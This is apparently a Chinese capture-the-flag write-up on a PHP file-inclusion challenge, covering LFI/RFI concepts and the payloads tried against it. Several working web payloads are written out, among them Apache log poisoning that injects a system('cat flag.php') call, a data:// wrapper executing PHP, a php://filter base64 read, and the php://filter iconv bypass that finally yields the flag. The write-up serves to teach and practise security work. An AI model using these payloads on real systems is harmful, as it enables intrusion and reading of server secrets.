1.攻防世界 题目名称-文件包含

进入题目页面如下

直接给出了源码进行代码审计

题目给出提示是文件包含的题

代码审计

php 复制代码
<?php
// 高亮显示当前 PHP 文件的源代码,方便查看和调试
highlight_file(__FILE__);

// 包含名为 "check.php" 的文件,通常这个文件中可能包含一些用于验证或其他功能的代码
include("./check.php");

// 检查是否通过 GET 请求传递了名为 "filename" 的参数
if (isset($_GET['filename'])) {
    // 如果传递了 "filename" 参数,将其值赋给 $filename 变量
    $filename = $_GET['filename'];
    // 使用 include 函数包含由 $filename 变量指定的文件,这可能会导致文件包含漏洞
    include($filename);
}

文件包含漏洞

这段 PHP 代码,使用了 include 函数,并且参数 filename 是从用户的 GET 请求中获取的。这就使得可以通过在 URL 中传递特定的参数值来控制 filename 的值,从而包含任意的文件,包括系统中的敏感文件,如配置文件、包含数据库连接信息的文件、包含密钥或密码的文件等


文件包含漏洞

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,主要由于Web应用程序在包含文件时,未能对文件路径或内容进行严格的验证和过滤,导致可以利用该漏洞包含并执行非预期的文件。
漏洞原理

开发人员为了提高代码复用性和模块化,会将可重复使用的函数或代码段写入单个文件中,并在需要时调用这些文件。如果开发者没有对用户输入的参数进行正确的过滤和检查,就可以控制这些参数的值,从而访问敏感文件或执行恶意代码。
漏洞分类

本地文件包含(Local File Inclusion, LFI):可以读取服务器本地文件系统中的文件,例如配置文件、日志文件等。

远程文件包含(Remote File Inclusion, RFI):可以让应用程序包含远程服务器上的文件,前提是服务器配置允许包含远程文件。
常见的文件包含函数
在PHP中,常见的文件包含函数包括:

include():包含并运行指定文件,文件不存在时发出警告,脚本继续执行。

require():包含并运行指定文件,文件不存在时产生致命错误,脚本终止。

include_once():类似include(),但只包含一次。

require_once():类似require(),但只包含一次。
漏洞危害

敏感信息泄露:可以读取服务器上的敏感文件,如/etc/passwd、php.ini等。

任意代码执行:可以通过包含恶意文件来执行任意代码,甚至获取Webshell。

系统权限提升:结合其他漏洞(如文件上传漏洞),攻击者可以进一步提升权限。
漏洞利用方式
本地文件包含利用:

通过绝对路径或相对路径读取敏感文件。

利用伪协议(如php://filter、php://input、data://等)读取或执行文件。

结合日志文件注入,将恶意代码写入日志文件并执行。
远程文件包含利用:

包含远程服务器上的恶意文件。

利用allow_url_include配置开启时,通过HTTP协议包含远程文件。


构造URL 请求:

复制代码
http://yourwebsite.com/yourscript.php?filename=flag.php

这个请求中,filename 参数的值被设置为 flag.php,当服务器接收到这个请求时,会执行 include($filename),即包含 flag.php 文件

尝试无果qyq

  1. Web 服务器日志文件 :常见 Web 服务器如 Apache、Nginx 等会记录访问日志。在 Apache 中,默认日志文件路径为 /var/log/apache2/access.log/var/log/httpd/access_log (不同系统可能有差异);Nginx 日志路径常见为 /var/log/nginx/access.log 。攻击者可以尝试通过构造请求包含日志文件,然后在自己的访问请求中携带恶意内容(如 PHP 代码),当服务器记录该请求到日志后,再通过文件包含读取日志,可能执行恶意代码来获取 flag。
  2. 构造一个包含恶意 PHP 代码的请求,
  3. GET /?a=<?php system('cat flag.php');?>
  4. 通过 http://yourserver.com/script.php?filename=/var/log/apache2/access.log 尝试包含日志文件
  5. 若代码执行成功,就可能获取到 flag

还是不行,再试一下PHP伪协议

data 伪协议 :如果服务器开启了 allow_url_include 选项(在 php.ini 中配置),可以使用 data 伪协议直接包含 PHP 代码来执行命令获取 flag。

payload

script.php?filename=data://text/plain,<?php system('cat flag.php');?>

这里 data://text/plain 表明数据类型为纯文本,后面紧跟的是 PHP 代码,通过这种方式尝试执行代码获取 flag。

php://filter 伪协议:用于对文件进行过滤操作,结合 base64 编码等方式可以绕过一些简单的防护。

script.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

该请求会将 flag.php 的内容进行 base64 编码后输出,然后可以将输出的 base64 编码内容解码获取 flag。

还是不行qyq,看了大佬的wp才知道过滤了许多,链接附上

攻防世界-file_include(绕过base64) - 你呀你~ - 博客园

利用iconv进行编码

在文件包含漏洞场景下,如果直接包含文件获取 flag 受阻,我们可以尝试利用 iconv 函数进行编码绕过一些过滤机制来获取 flag。以下详细介绍原理、实现步骤和示例。

原理

iconv 是一个用于字符编码转换的函数,在 PHP 中可以使用 iconv 函数将一种字符编码转换为另一种字符编码。部分 Web 应用程序在对用户输入进行过滤时,可能只针对特定编码的关键词进行过滤,通过 iconv 对包含文件路径的输入进行编码转换,有可能绕过这些过滤规则,从而实现文件包含获取 flag

实现步骤

1. 确认 iconv 支持和可用编码

首先要确保目标服务器上 PHP 的 iconv 扩展是启用的,并且了解服务器支持哪些字符编码。可以通过创建一个简单的 PHP 脚本来确认 iconv 是否可用:

php 复制代码
<?php
if (function_exists('iconv')) {
    echo "iconv 函数可用";
} else {
    echo "iconv 函数不可用";
}
?>

常见的可用编码有

UCS-4*、UCS-4BE、UCS-4LE*、UCS-2、UCS-2BE、UCS-2LE、UTF-32*、UTF-32BE* 等

2. 构造编码后的文件路径

flag 文件名为 flag.php,可以使用 iconv 对该文件名进行编码转换。

php 复制代码
<?php
$original_filename = 'flag.php';
$encoded_filename = iconv('UTF - 8', 'GBK', $original_filename);
// 将编码后的文件名进行 URL 编码
$url_encoded_filename = urlencode($encoded_filename);
echo $url_encoded_filename;
?>

上述代码将 flag.phpUTF - 8 编码转换为 GBK 编码,并进行 URL 编码,以便可以在 URL 中传递。

则可以构造payload

payload:

?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

最终得到flag

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行5 天前
网络安全总结
安全·web安全